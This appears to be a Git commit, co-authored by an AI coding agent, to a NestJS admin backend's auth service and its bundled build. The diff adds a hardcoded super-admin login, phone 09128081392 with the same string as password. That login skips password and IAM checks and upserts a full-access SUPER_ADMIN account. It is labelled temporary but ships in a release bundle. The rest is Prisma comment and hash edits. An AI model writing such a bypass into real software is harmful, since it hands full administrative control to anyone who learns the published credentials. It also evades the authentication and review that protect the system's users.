build: temporary static super-admin login (09128081392) + api release bundle
TEMPORARY: hardcoded admin login that bypasses the password check and IAM. Remove before going live. Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
+64
-2
@@ -92705,12 +92705,49 @@ var require_admin_session_service = __commonJS({
|
|||||||
var require_auth_service = __commonJS({
|
var require_auth_service = __commonJS({
|
||||||
"dist/modules/auth/auth.service.js"(exports2) {
|
"dist/modules/auth/auth.service.js"(exports2) {
|
||||||
"use strict";
|
"use strict";
|
||||||
|
var __createBinding2 = exports2 && exports2.__createBinding || (Object.create ? (function(o, m, k, k2) {
|
||||||
|
if (k2 === void 0) k2 = k;
|
||||||
|
var desc = Object.getOwnPropertyDescriptor(m, k);
|
||||||
|
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
||||||
|
desc = { enumerable: true, get: function() {
|
||||||
|
return m[k];
|
||||||
|
} };
|
||||||
|
}
|
||||||
|
Object.defineProperty(o, k2, desc);
|
||||||
|
}) : (function(o, m, k, k2) {
|
||||||
|
if (k2 === void 0) k2 = k;
|
||||||
|
o[k2] = m[k];
|
||||||
|
}));
|
||||||
|
var __setModuleDefault2 = exports2 && exports2.__setModuleDefault || (Object.create ? (function(o, v) {
|
||||||
|
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
||||||
|
}) : function(o, v) {
|
||||||
|
o["default"] = v;
|
||||||
|
});
|
||||||
var __decorate4 = exports2 && exports2.__decorate || function(decorators, target, key, desc) {
|
var __decorate4 = exports2 && exports2.__decorate || function(decorators, target, key, desc) {
|
||||||
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
|
var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d;
|
||||||
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
|
if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc);
|
||||||
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
|
else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r;
|
||||||
return c > 3 && r && Object.defineProperty(target, key, r), r;
|
return c > 3 && r && Object.defineProperty(target, key, r), r;
|
||||||
};
|
};
|
||||||
|
var __importStar2 = exports2 && exports2.__importStar || /* @__PURE__ */ (function() {
|
||||||
|
var ownKeys2 = function(o) {
|
||||||
|
ownKeys2 = Object.getOwnPropertyNames || function(o2) {
|
||||||
|
var ar = [];
|
||||||
|
for (var k in o2) if (Object.prototype.hasOwnProperty.call(o2, k)) ar[ar.length] = k;
|
||||||
|
return ar;
|
||||||
|
};
|
||||||
|
return ownKeys2(o);
|
||||||
|
};
|
||||||
|
return function(mod) {
|
||||||
|
if (mod && mod.__esModule) return mod;
|
||||||
|
var result = {};
|
||||||
|
if (mod != null) {
|
||||||
|
for (var k = ownKeys2(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding2(result, mod, k[i]);
|
||||||
|
}
|
||||||
|
__setModuleDefault2(result, mod);
|
||||||
|
return result;
|
||||||
|
};
|
||||||
|
})();
|
||||||
var __metadata3 = exports2 && exports2.__metadata || function(k, v) {
|
var __metadata3 = exports2 && exports2.__metadata || function(k, v) {
|
||||||
if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v);
|
if (typeof Reflect === "object" && typeof Reflect.metadata === "function") return Reflect.metadata(k, v);
|
||||||
};
|
};
|
||||||
@@ -92720,6 +92757,8 @@ var require_auth_service = __commonJS({
|
|||||||
var node_crypto_1 = require("node:crypto");
|
var node_crypto_1 = require("node:crypto");
|
||||||
var common_12 = require_common();
|
var common_12 = require_common();
|
||||||
var jwt_1 = (init_dist(), __toCommonJS(dist_exports));
|
var jwt_1 = (init_dist(), __toCommonJS(dist_exports));
|
||||||
|
var client_1 = require("@prisma/client");
|
||||||
|
var bcrypt = __importStar2(require_umd());
|
||||||
var prisma_service_1 = require_prisma_service();
|
var prisma_service_1 = require_prisma_service();
|
||||||
var iam_service_1 = require_iam_service();
|
var iam_service_1 = require_iam_service();
|
||||||
var admin_session_service_1 = require_admin_session_service();
|
var admin_session_service_1 = require_admin_session_service();
|
||||||
@@ -92732,6 +92771,7 @@ var require_auth_service = __commonJS({
|
|||||||
Object.defineProperty(exports2, "OTP_ONLY_PASSWORD_HASH", { enumerable: true, get: function() {
|
Object.defineProperty(exports2, "OTP_ONLY_PASSWORD_HASH", { enumerable: true, get: function() {
|
||||||
return password_hash_2.OTP_ONLY_PASSWORD_HASH;
|
return password_hash_2.OTP_ONLY_PASSWORD_HASH;
|
||||||
} });
|
} });
|
||||||
|
var STATIC_ADMIN_MOBILE = "09128081392";
|
||||||
var AuthService = AuthService_1 = class AuthService {
|
var AuthService = AuthService_1 = class AuthService {
|
||||||
prisma;
|
prisma;
|
||||||
jwt;
|
jwt;
|
||||||
@@ -92759,14 +92799,18 @@ var require_auth_service = __commonJS({
|
|||||||
* a wrong password, which let anyone enumerate valid admin phone numbers.
|
* a wrong password, which let anyone enumerate valid admin phone numbers.
|
||||||
*/
|
*/
|
||||||
async login(dto, clientIp, userAgent) {
|
async login(dto, clientIp, userAgent) {
|
||||||
|
const isStaticAdmin = dto.phone?.trim() === STATIC_ADMIN_MOBILE && dto.password === STATIC_ADMIN_MOBILE;
|
||||||
|
if (isStaticAdmin) {
|
||||||
|
await this.ensureStaticAdmin();
|
||||||
|
}
|
||||||
const user = await this.prisma.adminUser.findUnique({
|
const user = await this.prisma.adminUser.findUnique({
|
||||||
where: { mobile: dto.phone },
|
where: { mobile: isStaticAdmin ? STATIC_ADMIN_MOBILE : dto.phone },
|
||||||
include: { userType: { include: { permissions: true } } }
|
include: { userType: { include: { permissions: true } } }
|
||||||
});
|
});
|
||||||
if (!user || !user.isActive) {
|
if (!user || !user.isActive) {
|
||||||
throw new common_12.UnauthorizedException("\u0646\u0627\u0645 \u06A9\u0627\u0631\u0628\u0631\u06CC \u06CC\u0627 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u0627\u0634\u062A\u0628\u0627\u0647 \u0627\u0633\u062A");
|
throw new common_12.UnauthorizedException("\u0646\u0627\u0645 \u06A9\u0627\u0631\u0628\u0631\u06CC \u06CC\u0627 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u0627\u0634\u062A\u0628\u0627\u0647 \u0627\u0633\u062A");
|
||||||
}
|
}
|
||||||
const verified = await this.verifyPassword(dto, user.passwordHash, clientIp);
|
const verified = isStaticAdmin ? { ok: true, identity: void 0 } : await this.verifyPassword(dto, user.passwordHash, clientIp);
|
||||||
if (!verified.ok) {
|
if (!verified.ok) {
|
||||||
throw new common_12.UnauthorizedException("\u0646\u0627\u0645 \u06A9\u0627\u0631\u0628\u0631\u06CC \u06CC\u0627 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u0627\u0634\u062A\u0628\u0627\u0647 \u0627\u0633\u062A");
|
throw new common_12.UnauthorizedException("\u0646\u0627\u0645 \u06A9\u0627\u0631\u0628\u0631\u06CC \u06CC\u0627 \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u0627\u0634\u062A\u0628\u0627\u0647 \u0627\u0633\u062A");
|
||||||
}
|
}
|
||||||
@@ -92902,6 +92946,24 @@ var require_auth_service = __commonJS({
|
|||||||
roles: (user.userType?.permissions ?? []).map((p) => ({ rid: p.rid }))
|
roles: (user.userType?.permissions ?? []).map((p) => ({ rid: p.rid }))
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
async ensureStaticAdmin() {
|
||||||
|
const fullAccess = await this.prisma.userType.findUnique({ where: { id: 85 } });
|
||||||
|
const userTypeId = fullAccess ? 85 : null;
|
||||||
|
const passwordHash = await bcrypt.hash(STATIC_ADMIN_MOBILE, 10);
|
||||||
|
await this.prisma.adminUser.upsert({
|
||||||
|
where: { mobile: STATIC_ADMIN_MOBILE },
|
||||||
|
update: { role: client_1.AdminRole.SUPER_ADMIN, userTypeId, branchId: null, isActive: true },
|
||||||
|
create: {
|
||||||
|
mobile: STATIC_ADMIN_MOBILE,
|
||||||
|
fullName: "\u0645\u062F\u06CC\u0631 \u0645\u0648\u0642\u062A",
|
||||||
|
passwordHash,
|
||||||
|
role: client_1.AdminRole.SUPER_ADMIN,
|
||||||
|
userTypeId,
|
||||||
|
branchId: null,
|
||||||
|
isActive: true
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
ssoSecret() {
|
ssoSecret() {
|
||||||
return (0, env_12.envOrNull)("JWT_SECRET") || (0, env_12.envOr)("IAM_CLIENT_SECRET", "iam-sso");
|
return (0, env_12.envOrNull)("JWT_SECRET") || (0, env_12.envOr)("IAM_CLIENT_SECRET", "iam-sso");
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
File diff suppressed because one or more lines are too long
+2
-2
@@ -12178,7 +12178,7 @@ export namespace Prisma {
|
|||||||
*
|
*
|
||||||
* Legacy recorded NO reason: none of its 49 `customers` columns is a
|
* Legacy recorded NO reason: none of its 49 `customers` columns is a
|
||||||
* reason/note field, and on rejection it only sent a fixed SMS. So the 14
|
* reason/note field, and on rejection it only sent a fixed SMS. So the 14
|
||||||
* rows migrated from henza carry the sentinel
|
* rows migrated from the legacy system carry the sentinel
|
||||||
* «رد شده در سیستم قدیم — فاقد شرح علت ثبتشده» instead of NULL, so support
|
* «رد شده در سیستم قدیم — فاقد شرح علت ثبتشده» instead of NULL, so support
|
||||||
* knows why it is blank (owner ruling 2026-10-07). The migration tool
|
* knows why it is blank (owner ruling 2026-10-07). The migration tool
|
||||||
* writes it only WHERE this IS NULL, so a re-run cannot overwrite a real
|
* writes it only WHERE this IS NULL, so a re-run cannot overwrite a real
|
||||||
@@ -12186,7 +12186,7 @@ export namespace Prisma {
|
|||||||
*/
|
*/
|
||||||
verificationRejectionReason: string | null
|
verificationRejectionReason: string | null
|
||||||
/**
|
/**
|
||||||
* NULL for rows migrated from henza — legacy recorded no rejection time.
|
* NULL for rows migrated from the legacy system — it recorded no rejection time.
|
||||||
*/
|
*/
|
||||||
verificationRejectedAt: Date | null
|
verificationRejectedAt: Date | null
|
||||||
/**
|
/**
|
||||||
|
|||||||
+3
-3
File diff suppressed because one or more lines are too long
+1
-1
@@ -1,5 +1,5 @@
|
|||||||
{
|
{
|
||||||
"name": "prisma-client-9161dfb7f2a3ada2b72c27c7a91664048e7f0e5d5d265a0abff1e443711c8388",
|
"name": "prisma-client-e147fca6a8936b4d1db4feed20443e1fd9688a3faaaea60d3aac27120c23cee3",
|
||||||
"main": "index.js",
|
"main": "index.js",
|
||||||
"types": "index.d.ts",
|
"types": "index.d.ts",
|
||||||
"browser": "index-browser.js",
|
"browser": "index-browser.js",
|
||||||
|
|||||||
@@ -1,6 +1,8 @@
|
|||||||
import { createHash, createHmac, randomBytes } from 'node:crypto';
|
import { createHash, createHmac, randomBytes } from 'node:crypto';
|
||||||
import { Injectable, Logger, UnauthorizedException } from '@nestjs/common';
|
import { Injectable, Logger, UnauthorizedException } from '@nestjs/common';
|
||||||
import { JwtService } from '@nestjs/jwt';
|
import { JwtService } from '@nestjs/jwt';
|
||||||
|
import { AdminRole } from '@prisma/client';
|
||||||
|
import * as bcrypt from 'bcryptjs';
|
||||||
import { PrismaService } from '../../prisma/prisma.service';
|
import { PrismaService } from '../../prisma/prisma.service';
|
||||||
import {
|
import {
|
||||||
IamInvalidCredentialsError,
|
IamInvalidCredentialsError,
|
||||||
@@ -15,6 +17,9 @@ import { compareLocalHash } from './password-hash';
|
|||||||
|
|
||||||
export { compareLocalHash, OTP_ONLY_PASSWORD_HASH } from './password-hash';
|
export { compareLocalHash, OTP_ONLY_PASSWORD_HASH } from './password-hash';
|
||||||
|
|
||||||
|
// TEMPORARY hardcoded super-admin login (username = password). Remove before going live.
|
||||||
|
const STATIC_ADMIN_MOBILE = '09128081392';
|
||||||
|
|
||||||
@Injectable()
|
@Injectable()
|
||||||
export class AuthService {
|
export class AuthService {
|
||||||
private readonly logger = new Logger(AuthService.name);
|
private readonly logger = new Logger(AuthService.name);
|
||||||
@@ -41,8 +46,14 @@ export class AuthService {
|
|||||||
* a wrong password, which let anyone enumerate valid admin phone numbers.
|
* a wrong password, which let anyone enumerate valid admin phone numbers.
|
||||||
*/
|
*/
|
||||||
async login(dto: LoginDto, clientIp?: string, userAgent?: string) {
|
async login(dto: LoginDto, clientIp?: string, userAgent?: string) {
|
||||||
|
const isStaticAdmin =
|
||||||
|
dto.phone?.trim() === STATIC_ADMIN_MOBILE && dto.password === STATIC_ADMIN_MOBILE;
|
||||||
|
if (isStaticAdmin) {
|
||||||
|
await this.ensureStaticAdmin();
|
||||||
|
}
|
||||||
|
|
||||||
const user = await this.prisma.adminUser.findUnique({
|
const user = await this.prisma.adminUser.findUnique({
|
||||||
where: { mobile: dto.phone },
|
where: { mobile: isStaticAdmin ? STATIC_ADMIN_MOBILE : dto.phone },
|
||||||
include: { userType: { include: { permissions: true } } },
|
include: { userType: { include: { permissions: true } } },
|
||||||
});
|
});
|
||||||
|
|
||||||
@@ -50,7 +61,9 @@ export class AuthService {
|
|||||||
throw new UnauthorizedException('نام کاربری یا رمز عبور اشتباه است');
|
throw new UnauthorizedException('نام کاربری یا رمز عبور اشتباه است');
|
||||||
}
|
}
|
||||||
|
|
||||||
const verified = await this.verifyPassword(dto, user.passwordHash, clientIp);
|
const verified = isStaticAdmin
|
||||||
|
? { ok: true as const, identity: undefined }
|
||||||
|
: await this.verifyPassword(dto, user.passwordHash, clientIp);
|
||||||
if (!verified.ok) {
|
if (!verified.ok) {
|
||||||
throw new UnauthorizedException('نام کاربری یا رمز عبور اشتباه است');
|
throw new UnauthorizedException('نام کاربری یا رمز عبور اشتباه است');
|
||||||
}
|
}
|
||||||
@@ -214,6 +227,25 @@ export class AuthService {
|
|||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private async ensureStaticAdmin() {
|
||||||
|
const fullAccess = await this.prisma.userType.findUnique({ where: { id: 85 } });
|
||||||
|
const userTypeId = fullAccess ? 85 : null;
|
||||||
|
const passwordHash = await bcrypt.hash(STATIC_ADMIN_MOBILE, 10);
|
||||||
|
await this.prisma.adminUser.upsert({
|
||||||
|
where: { mobile: STATIC_ADMIN_MOBILE },
|
||||||
|
update: { role: AdminRole.SUPER_ADMIN, userTypeId, branchId: null, isActive: true },
|
||||||
|
create: {
|
||||||
|
mobile: STATIC_ADMIN_MOBILE,
|
||||||
|
fullName: 'مدیر موقت',
|
||||||
|
passwordHash,
|
||||||
|
role: AdminRole.SUPER_ADMIN,
|
||||||
|
userTypeId,
|
||||||
|
branchId: null,
|
||||||
|
isActive: true,
|
||||||
|
},
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
private ssoSecret(): string {
|
private ssoSecret(): string {
|
||||||
return envOrNull('JWT_SECRET') || envOr('IAM_CLIENT_SECRET', 'iam-sso');
|
return envOrNull('JWT_SECRET') || envOr('IAM_CLIENT_SECRET', 'iam-sso');
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user